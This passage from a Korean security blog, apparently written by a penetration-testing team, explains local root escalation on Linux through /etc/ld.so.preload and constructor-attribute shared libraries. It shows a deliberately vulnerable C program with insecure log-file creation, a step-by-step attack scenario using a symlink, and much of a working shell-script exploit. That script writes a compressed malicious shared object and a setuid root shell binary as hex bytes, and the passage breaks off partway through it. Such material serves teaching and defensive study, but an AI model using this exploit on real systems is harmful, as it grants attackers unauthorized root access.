&lt;b&gt;&lt;i&gt;Constructor&lt;/i&gt;&lt;/b&gt; 속성을 가진 &lt;i&gt;init() &lt;/i&gt;함수가 먼저 실행되므로 &lt;i&gt;init()&lt;/i&gt; 함수 안에서 &lt;i&gt;system() &lt;/i&gt;함수를 통해 사용된&amp;nbsp;/bin/bash 실행이 끝난 이 후&lt;/span&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;/bin/ping의 프로그램이 정상적으로 실행되는 것을 알 수 있습니다.&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 720px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/9990D54A5A77D5C80F&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F9990D54A5A77D5C80F&quot; width=&quot;720&quot; height=&quot;470&quot; filename=&quot;2.jpg&quot; filemime=&quot;image/jpeg&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center;&quot;&gt;&lt;b style=&quot;color: rgb(45, 44, 45); font-family: Verdana; font-size: 12px;&quot;&gt;[그림 2] 라이브러리의 Constructor 속성을 이용한&amp;nbsp;exploit&lt;/b&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left;&quot;&gt;&lt;b style=&quot;font-family: Verdana; font-size: 16px;&quot;&gt;(2) Insecure file creation vulnerability&lt;/b&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left;&quot;&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;root 권한으로 파일을 생성할 때, 생성되는 파일의 소유 권한을 고려하지 않고 코드를 작성하는 경우 보안 취약점이 발생할 수 있습니다. 아래의 코드는 실제 저희 &lt;b&gt;&lt;i&gt;TeamCR@K&lt;/i&gt;&lt;/b&gt;이 모의해킹 도중 권한 상승 취약점을 이용했던 케이스로 취약점 발생 포인트만 재 구현해서 설명 드리고자 합니다.&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;div class=&quot;txc-textbox&quot; style=&quot;border-style: dashed; border-width: 1px; border-color: rgb(121, 165, 228); background-color: rgb(219, 232, 251); padding: 10px;&quot;&gt;&lt;p&gt;&lt;font face=&quot;Verdana&quot;&gt;/*&lt;/font&gt;&lt;/p&gt;&lt;p&gt;&lt;font face=&quot;Verdana&quot;&gt;* vuln.c&lt;/font&gt;&lt;/p&gt;&lt;p&gt;&lt;font face=&quot;Verdana&quot;&gt;*&lt;/font&gt;&lt;/p&gt;&lt;p&gt;&lt;font face=&quot;Verdana&quot;&gt;* Coded by TeamCR@K&lt;/font&gt;&lt;/p&gt;&lt;p&gt;&lt;font face=&quot;Verdana&quot;&gt;*&lt;/font&gt;&lt;/p&gt;&lt;p&gt;&lt;font face=&quot;Verdana&quot;&gt;* http://teamcrak.tistory.com&lt;/font&gt;&lt;/p&gt;&lt;p&gt;&lt;font face=&quot;Verdana&quot;&gt;*&lt;/font&gt;&lt;/p&gt;&lt;p&gt;&lt;font face=&quot;Verdana&quot;&gt;* - A example code for insecure file creation vulnerability&lt;/font&gt;&lt;/p&gt;&lt;p&gt;&lt;font face=&quot;Verdana&quot;&gt;*/&lt;/font&gt;&lt;/p&gt;&lt;p&gt;&lt;font face=&quot;Verdana&quot;&gt;#include &amp;lt;stdio.h&amp;gt;&lt;/font&gt;&lt;/p&gt;&lt;p&gt;&lt;font face=&quot;Verdana&quot;&gt;#include &amp;lt;dirent.h&amp;gt;&lt;/font&gt;&lt;/p&gt;&lt;p&gt;&lt;font face=&quot;Verdana&quot;&gt;&lt;br /&gt;&lt;/font&gt;&lt;/p&gt;&lt;p&gt;&lt;font face=&quot;Verdana&quot;&gt;int main(int argc, char **argv)&lt;/font&gt;&lt;/p&gt;&lt;p&gt;&lt;font face=&quot;Verdana&quot;&gt;{&lt;/font&gt;&lt;/p&gt;&lt;p&gt;&lt;font face=&quot;Verdana&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; FILE *fp = NULL;&lt;/font&gt;&lt;/p&gt;&lt;p&gt;&lt;font face=&quot;Verdana&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; char logfile[1024];&lt;/font&gt;&lt;/p&gt;&lt;p&gt;&lt;font face=&quot;Verdana&quot;&gt;&lt;br /&gt;&lt;/font&gt;&lt;/p&gt;&lt;p&gt;&lt;font face=&quot;Verdana&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; snprintf(logfile, sizeof(logfile), &quot;logs/%s.log&quot;, argv[0]);&lt;/font&gt;&lt;/p&gt;&lt;p&gt;&lt;font face=&quot;Verdana&quot;&gt;&lt;br /&gt;&lt;/font&gt;&lt;/p&gt;&lt;p&gt;&lt;font face=&quot;Verdana&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; if((fp = fopen(logfile, &quot;a+&quot;)) != NULL) {&lt;/font&gt;&lt;/p&gt;&lt;p&gt;&lt;font face=&quot;Verdana&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; fputs(&quot;Write log contents!\n&quot;, fp);&lt;/font&gt;&lt;/p&gt;&lt;p&gt;&lt;font face=&quot;Verdana&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; fclose(fp);&lt;/font&gt;&lt;/p&gt;&lt;p&gt;&lt;font face=&quot;Verdana&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; }&lt;/font&gt;&lt;/p&gt;&lt;p&gt;&lt;font face=&quot;Verdana&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; return 0;&lt;/font&gt;&lt;/p&gt;&lt;p&gt;&lt;font face=&quot;Verdana&quot;&gt;}&lt;/font&gt;&lt;/p&gt;&lt;/div&gt;&lt;p style=&quot;text-align: left;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left;&quot;&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;위 코드는 다수개의&lt;/span&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;&amp;nbsp;보안 취약점을 내포하고 있지만, 제일 큰 문제가 되는 것은 생성되는 파일의 기본 소유권한에 대해 검증하지 않는 코드라는 것입니다.&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;파일을 실행하면, logs &lt;/span&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;디렉터리에 프로그램 이름의 문자열을 따서 로그파일을 생성합니다. 그러나 파일 생성 시 파일 소유 권한을 지정할 수 없는 &lt;/span&gt;&lt;i style=&quot;font-family: Verdana;&quot;&gt;fopen()&lt;/i&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt; 함수를 이용하여 보안 취약점에 노출 될 수 있습니다.&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left;&quot;&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;다음 화면은 위 보안 취약점이 내포된 프로그램을 어떤 형태로 조작이 가능한지 테스트 해 본 화면입니다.&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left;&quot;&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 675px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/99E3964D5A78176C0F&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F99E3964D5A78176C0F&quot; width=&quot;675&quot; height=&quot;490&quot; filename=&quot;3.jpg&quot; filemime=&quot;image/jpeg&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center;&quot;&gt;&lt;b style=&quot;text-align: center; color: rgb(45, 44, 45); font-family: Verdana; font-size: 12px;&quot;&gt;[그림 3]&amp;nbsp;umask 를 이용해 파일 생성 시 소유 권한 조작&lt;/b&gt;&lt;/p&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;p style=&quot;text-align: left;&quot;&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;위 프로그램은 &lt;/span&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;생성되는 파일에 대한 적절한 검증 절차가&amp;nbsp;존재하지 않아 &lt;/span&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;&lt;i&gt;umask&lt;/i&gt;를 이용해 생성되는 파일의 기본 소유 권한을 변경할 수 있고, 또한 로그파일 이름&amp;nbsp;자체가 프로그램명(&lt;i&gt;Argument Value&lt;/i&gt;)과 연계되므로 원본 파일에 새로운 이름으로 symbolic link를 생성하여 symbolic link의 이름으로 실행한다면&amp;nbsp;로그파일 이름도 조작이 가능합니다.&amp;nbsp;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left;&quot;&gt;&lt;font face=&quot;Verdana&quot;&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;기본적으로 우리가 이제까지 공부한 &lt;b&gt;&lt;i&gt;Constructor&lt;/i&gt;&lt;/b&gt; 개념과 &lt;b&gt;&lt;i&gt;/etc/ld.so.preload&lt;/i&gt;&lt;/b&gt;의 선적재 라이브러리의 특성을 이용하면 위 보안 취약점을 이용한 권한 상승 exploit의 작성이 가능할 듯 합니다.&lt;/span&gt;&lt;/font&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left;&quot;&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;공격을 위한 기본 시나리오는 아래와 같습니다.&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left;&quot;&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/p&gt;&lt;div class=&quot;txc-textbox&quot; style=&quot;border-style: dashed; border-width: 1px; border-color: rgb(121, 165, 228); background-color: rgb(219, 232, 251); padding: 10px;&quot;&gt;&lt;p style=&quot;text-align: left;&quot;&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;1. &lt;/span&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;쉘 실행 &lt;/span&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;바이너리 생성 (/tmp/.teamcrak-root)&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left;&quot;&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;2. /tmp/.teamcrak-root 파일을 &lt;/span&gt;&lt;span style=&quot;font-family:Verdana;&quot;&gt;root 권한으로 변경하고 setuid 퍼미션을 세팅할 악의적인&amp;nbsp;공유라이브러리를&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;Constructor 속성을 가지도록 생성 (/tmp/evil.so)&lt;/span&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left;&quot;&gt;&lt;span style=&quot;font-family:Verdana;&quot;&gt;3. 로그&lt;/span&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;파일을 /etc/ld.so.preload 파일로 symbolic link 생성&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left;&quot;&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;4. vuln 실행&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left;&quot;&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;5. /etc/ld.so.preload 파일 생성 확인&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left;&quot;&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;6. /etc/ld.so.preload 파일에 /tmp/evil.so 문자열 Overwrite&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left;&quot;&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;7. root 권한의 setuid 파일 실행&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left;&quot;&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;8. /tmp/.teamcrak-root 파일에 root 권한의 setuid bit 설정 유무 확인&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left;&quot;&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;9. /tmp/.teamcrak-root 파일 실행 (root 권한 획득)&lt;/span&gt;&lt;/p&gt;&lt;/div&gt;&lt;p style=&quot;text-align: left;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left;&quot;&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;다음은 위 시나리오를 기반으로 쉘 스크립트 형태로 작성한 exploit 입니다.&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left;&quot;&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/p&gt;&lt;div class=&quot;txc-textbox&quot; style=&quot;border-style: dashed; border-width: 1px; border-color: rgb(121, 165, 228); background-color: rgb(219, 232, 251); padding: 10px;&quot;&gt;&lt;p&gt;&lt;font face=&quot;Verdana&quot;&gt;#!/bin/sh&lt;/font&gt;&lt;/p&gt;&lt;p&gt;&lt;font face=&quot;Verdana&quot;&gt;TARGET=&quot;/etc/ld.so.preload&quot;&lt;/font&gt;&lt;/p&gt;&lt;p&gt;&lt;font face=&quot;Verdana&quot;&gt;EVIL_BIN=&quot;/tmp/evil.so&quot;&lt;/font&gt;&lt;/p&gt;&lt;p&gt;&lt;font face=&quot;Verdana&quot;&gt;ROOTSHELL=&quot;/tmp/.teamcrak-root&quot;&lt;/font&gt;&lt;/p&gt;&lt;p&gt;&lt;font face=&quot;Verdana&quot;&gt;WORKDIR=&quot;/home/indra/Project/ld.so.preload/stage3&quot;&lt;/font&gt;&lt;/p&gt;&lt;p&gt;&lt;font face=&quot;Verdana&quot;&gt;VICTIM=&quot;vuln&quot;&lt;/font&gt;&lt;/p&gt;&lt;p&gt;&lt;font face=&quot;Verdana&quot;&gt;LOGFILE=&quot;${WORKDIR}/logs/TeamCRAK.log&quot;&lt;/font&gt;&lt;/p&gt;&lt;p&gt;&lt;font face=&quot;Verdana&quot;&gt;&lt;br /&gt;&lt;/font&gt;&lt;/p&gt;&lt;p&gt;&lt;font face=&quot;Verdana&quot;&gt;echo &quot;###########################################################################&quot;&lt;/font&gt;&lt;/p&gt;&lt;p&gt;&lt;font face=&quot;Verdana&quot;&gt;echo &quot;#####&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; Local root exploit for vulnerability example&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;#####&quot;&lt;/font&gt;&lt;/p&gt;&lt;p&gt;&lt;font face=&quot;Verdana&quot;&gt;echo &quot;#####&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; - Insecure file creation - #####&quot;&lt;/font&gt;&lt;/p&gt;&lt;p&gt;&lt;font face=&quot;Verdana&quot;&gt;echo &quot;#####&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;#####&quot;&lt;/font&gt;&lt;/p&gt;&lt;p&gt;&lt;font face=&quot;Verdana&quot;&gt;echo &quot;#####&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;2018.02.03&amp;nbsp; #####&quot;&lt;/font&gt;&lt;/p&gt;&lt;p&gt;&lt;font face=&quot;Verdana&quot;&gt;echo &quot;#####&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; Exploited by TeamCR@K in A3Security&amp;nbsp; #####&quot;&lt;/font&gt;&lt;/p&gt;&lt;p&gt;&lt;font face=&quot;Verdana&quot;&gt;echo &quot;#####&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;#####&quot;&lt;/font&gt;&lt;/p&gt;&lt;p&gt;&lt;font face=&quot;Verdana&quot;&gt;echo &quot;###########################################################################&quot;&lt;/font&gt;&lt;/p&gt;&lt;p&gt;&lt;font face=&quot;Verdana&quot;&gt;&lt;br /&gt;&lt;/font&gt;&lt;/p&gt;&lt;p&gt;&lt;font face=&quot;Verdana&quot;&gt;rm -rf ${EVIL_BIN}*&lt;/font&gt;&lt;/p&gt;&lt;p&gt;&lt;font face=&quot;Verdana&quot;&gt;# ##################### 32BIT shared object binary&lt;/font&gt;&lt;/p&gt;&lt;p&gt;&lt;font face=&quot;Verdana&quot;&gt;# #define ROOT &quot;teamcrak-root\&lt;/font&gt;&lt;/p&gt;&lt;p&gt;&lt;font face=&quot;Verdana&quot;&gt;# const char *rs = &quot;/tmp/.&quot; ROOT;&lt;/font&gt;&lt;/p&gt;&lt;p&gt;&lt;font face=&quot;Verdana&quot;&gt;# void __attribute__((constructor)) init(void) {&lt;/font&gt;&lt;/p&gt;&lt;p&gt;&lt;font face=&quot;Verdana&quot;&gt;# setgid(0); setuid(0); chown(rs, 0, 0); chmod(rs, 06777); }&lt;/font&gt;&lt;/p&gt;&lt;p&gt;&lt;font face=&quot;Verdana&quot;&gt;echo -ne &quot;\x42\x5A\x68\x39\x31\x41\x59\x26\x53\x59\x96\xAD\xA2\x87\x00\x01\&lt;/font&gt;&lt;/p&gt;&lt;p&gt;&lt;font face=&quot;Verdana&quot;&gt;\x67\x7F\xEF\xFF\xFF\xFE\x96\xC2\x6B\xE4\x08\x57\x44\x48\x48\xBF\&lt;/font&gt;&lt;/p&gt;&lt;p&gt;&lt;font face=&quot;Verdana&quot;&gt;\xEF\xFE\x64\xC0\xA2\x14\x00\x41\x68\x0C\x62\x72\x68\x28\x4C\x23\&lt;/font&gt;&lt;/p&gt;&lt;p&gt;&lt;font face=&quot;Verdana&quot;&gt;\x01\xB0\x01\x95\x81\x68\x34\x41\x53\x6C\xA8\xD0\x07\xA8\x00\x7A\&lt;/font&gt;&lt;/p&gt;&lt;p&gt;&lt;font face=&quot;Verdana&quot;&gt;\x8D\x0F\x50\x7A\x9A\x00\xD0\x00\x06\x8D\x1E\xA0\x34\x07\xA4\xF4\&lt;/font&gt;&lt;/p&gt;&lt;p&gt;&lt;font face=&quot;Verdana&quot;&gt;\x98\x9E\xA3\xD4\x22\x98\x99\x27\xA9\x3D\x34\x9B\x46\x80\x23\x4C\&lt;/font&gt;&lt;/p&gt;&lt;p&gt;&lt;font face=&quot;Verdana&quot;&gt;\x4C\x8C\x09\xE8\x11\x80\x8C\x01\xA8\xD3\x26\x99\x0D\x0C\x9A\x0D\&lt;/font&gt;&lt;/p&gt;&lt;p&gt;&lt;font face=&quot;Verdana&quot;&gt;\x31\x02\x44\xA2\x99\x94\x68\x1A\x26\x68\x00\x13\x13\x4C\x09\x93\&lt;/font&gt;&lt;/p&gt;&lt;p&gt;&lt;font face=&quot;Verdana&quot;&gt;\x4C\x01\x0C\x4F\x51\x88\x62\x64\xC2\x69\xA6\x4D\x32\x60\xA6\x55\&lt;/font&gt;&lt;/p&gt;&lt;p&gt;&lt;font face=&quot;Verdana&quot;&gt;\x04\x4A\x06\x10\xD2\x11\x05\x70\x50\x51\x8F\x20\xC5\x7E\x98\x51\&lt;/font&gt;&lt;/p&gt;&lt;p&gt;&lt;font face=&quot;Verdana&quot;&gt;\x6A\x51\x73\x8C\xD1\x79\x8A\x8B\x75\x8E\x80\x30\xC8\x14\x5E\x19\&lt;/font&gt;&lt;/p&gt;&lt;p&gt;&lt;font face=&quot;Verdana&quot;&gt;\x16\x30\x00\xD0\xB4\xA2\x14\x52\x81\x8B\x51\x07\xA6\x5F\x9E\x03\&lt;/font&gt;&lt;/p&gt;&lt;p&gt;&lt;font face=&quot;Verdana&quot;&gt;\xF4\xF2\xB0\x5C\x7C\xEE\x5C\x40\x9C\xEB\x71\x56\xAC\x90\xFB\xCE\&lt;/font&gt;&lt;/p&gt;&lt;p&gt;&lt;font face=&quot;Verdana&quot;&gt;\x64\x31\xD4\xE5\xB6\xD4\xA9\x89\x69\x7F\x52\xE6\x85\xED\x74\xE4\&lt;/font&gt;&lt;/p&gt;&lt;p&gt;&lt;font face=&quot;Verdana&quot;&gt;\x4F\x34\x96\xB4\x85\x4E\xBE\x02\x18\x91\x3B\x06\xD2\x6D\x26\xD2\&lt;/font&gt;&lt;/p&gt;&lt;p&gt;&lt;font face=&quot;Verdana&quot;&gt;\x4D\xA6\xD2\x6C\x26\x82\x0A\x11\x03\x60\xDD\x63\x64\x46\xDC\x91\&lt;/font&gt;&lt;/p&gt;&lt;p&gt;&lt;font face=&quot;Verdana&quot;&gt;\x23\x21\xB7\x0D\x37\x62\xC5\x41\xA1\x0F\x22\x00\x2E\x98\x05\xFB\&lt;/font&gt;&lt;/p&gt;&lt;p&gt;&lt;font face=&quot;Verdana&quot;&gt;\x3D\x6C\x57\x0D\x0A\xD1\x85\x1D\x58\x58\xF5\x76\xFD\xFB\x15\x77\&lt;/font&gt;&lt;/p&gt;&lt;p&gt;&lt;font face=&quot;Verdana&quot;&gt;\x68\x80\x6D\x4C\x79\x56\xCA\x24\x5B\xA6\x6B\x60\x2B\x69\x0D\x16\&lt;/font&gt;&lt;/p&gt;&lt;p&gt;&lt;font face=&quot;Verdana&quot;&gt;\x8A\x2C\xFB\x9A\x3A\xA3\x26\x86\x60\x4A\x38\x9B\x5E\x8E\xD3\x0B\&lt;/font&gt;&lt;/p&gt;&lt;p&gt;&lt;font face=&quot;Verdana&quot;&gt;\xE6\x4E\xD0\xAB\x1D\xC3\x41\x5E\xCA\x89\xA1\x7A\x5A\x03\x29\xAB\&lt;/font&gt;&lt;/p&gt;&lt;p&gt;&lt;font face=&quot;Verdana&quot;&gt;\x1C\x88\xF0\xE3\x80\xC4\x4E\x9D\x36\x99\x84\xA4\x95\x85\x27\x42\&lt;/font&gt;&lt;/p&gt;&lt;p&gt;&lt;font face=&quot;Verdana&quot;&gt;\x7E\xFA\x72\x8A\xC1\xA3\xE8\xCD\xE6\x1F\x57\xA5\x2F\xC2\x4A\xDE\&lt;/font&gt;&lt;/p&gt;&lt;p&gt;&lt;font face=&quot;Verdana&quot;&gt;\x0A\xE9\x0A\xB5\x7D\x92\x52\x76\x51\x09\x98\xF0\xE9\xA2\x92\x1C\&lt;/font&gt;&lt;/p&gt;&lt;p&gt;&lt;font face=&quot;Verdana&quot;&gt;\x86\xC3\x85\x9B\x49\xEB\x32\x9F\x9A\x34\x05\x21\x02\x67\xC1\xA2\&lt;/font&gt;&lt;/p&gt;&lt;p&gt;&lt;font face=&quot;Verdana&quot;&gt;\xC8\x74\xC7\x36\xCB\x1A\x90\x1A\x26\x59\x9A\x3D\xD4\xD0\x42\x39\&lt;/font&gt;&lt;/p&gt;&lt;p&gt;&lt;font face=&quot;Verdana&quot;&gt;\x59\x70\x01\xF2\x8D\x03\x8C\x08\x98\xC3\xC0\xEF\xDA\x24\xB9\x13\&lt;/font&gt;&lt;/p&gt;&lt;p&gt;&lt;font face=&quot;Verdana&quot;&gt;\xFA\x45\x80\x6B\x91\x25\x0A\x76\x64\x30\x53\x6C\xD9\x61\x1F\xC5\&lt;/font&gt;&lt;/p&gt;&lt;p&gt;&lt;font face=&quot;Verdana&quot;&gt;\x56\x6C\x36\xB6\xF4\xE7\x5B\x28\x36\xF1\x17\xC0\x53\x79\x85\x10\&lt;/font&gt;&lt;/p&gt;&lt;p&gt;&lt;font face=&quot;Verdana&quot;&gt;\x06\x22\xFA\x8E\xB0\x50\xE7\x32\x11\x58\x75\x24\x5E\x95\xC5\x6D\&lt;/font&gt;&lt;/p&gt;&lt;p&gt;&lt;font face=&quot;Verdana&quot;&gt;\x2A\x95\x24\xCE\x70\xA3\x8F\x0A\xAC\x75\x56\x17\xA8\x81\xEA\x91\&lt;/font&gt;&lt;/p&gt;&lt;p&gt;&lt;font face=&quot;Verdana&quot;&gt;\x25\x7B\x16\x9F\x9D\x16\xA4\x3F\x68\x89\x0F\x58\x4A\x72\xCB\xFE\&lt;/font&gt;&lt;/p&gt;&lt;p&gt;&lt;font face=&quot;Verdana&quot;&gt;\x2E\xE4\x8A\x70\xA1\x21\x2D\x5B\x45\x0E&quot; &amp;gt; ${EVIL_BIN}.bz2&lt;/font&gt;&lt;/p&gt;&lt;p&gt;&lt;font face=&quot;Verdana&quot;&gt;bzip2 -d ${EVIL_BIN}.bz2&lt;/font&gt;&lt;/p&gt;&lt;p&gt;&lt;font face=&quot;Verdana&quot;&gt;&lt;br /&gt;&lt;/font&gt;&lt;/p&gt;&lt;p&gt;&lt;font face=&quot;Verdana&quot;&gt;echo -ne &quot;\x7F\x45\x4C\x46\x01\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\&lt;/font&gt;&lt;/p&gt;&lt;p&gt;&lt;font face=&quot;Verdana&quot;&gt;\x02\x00\x03\x00\x01\x00\x00\x00\x54\x80\x04\x08\x34\x00\x00\x00\&lt;/font&gt;&lt;/p&gt;&lt;p&gt;&lt;font face=&quot;Verdana&quot;&gt;\x94\x00\x00\x00\x00\x00\x00\x00\x34\x00\x20\x00\x01\x00\x28\x00\&lt;/font&gt;&lt;/p&gt;&lt;p&gt;&lt;font face=&quot;Verdana&quot;&gt;\x03\x00\x02\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x80\x04\x08\&lt;/font&gt;&lt;/p&gt;&lt;p&gt;&lt;font face=&quot;Verdana&quot;&gt;\x00\x80\x04\x08\x81\x00\x00\x00\x81\x00\x00\x00\x05\x00\x00\x00\&lt;/font&gt;&lt;/p&gt;&lt;p&gt;&lt;font face=&quot;Verdana&quot;&gt;\x00\x10\x00\x00\x31\xDB\x89\xD8\xB0\x2E\xCD\x80\x31\xDB\x89\xD8\&lt;/font&gt;&lt;/p&gt;&lt;p&gt;&lt;font face=&quot;Verdana&quot;&gt;\xB0\x17\xCD\x80\xEB\x0D\x5B\x31\xD2\x89\xD0\x52\x53\x89\xE1\xB0\&lt;/font&gt;&lt;/p&gt;&lt;p&gt;&lt;font face=&quot;Verdana&quot;&gt;\x0B\xCD\x80\xE8\xEE\xFF\xFF\xFF\x2F\x62\x69\x6E\x2F\x73\x68&quot; &amp;gt; ${ROOTSHELL}&lt;/font&gt;&lt;/p&gt;&lt;p&gt;&lt;font face=&quot;Verdana&quot;&gt;&lt;br /&gt;&lt;/font&gt;&lt;/p&gt;&lt;p&gt;&lt;font face=&quot;Verdana&quot;&gt;if [ -f ${ROOTSHELL} ]; then&lt;/font&gt;&lt;/p&gt;&lt;p&gt;&lt;font face=&quot;Verdana&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; 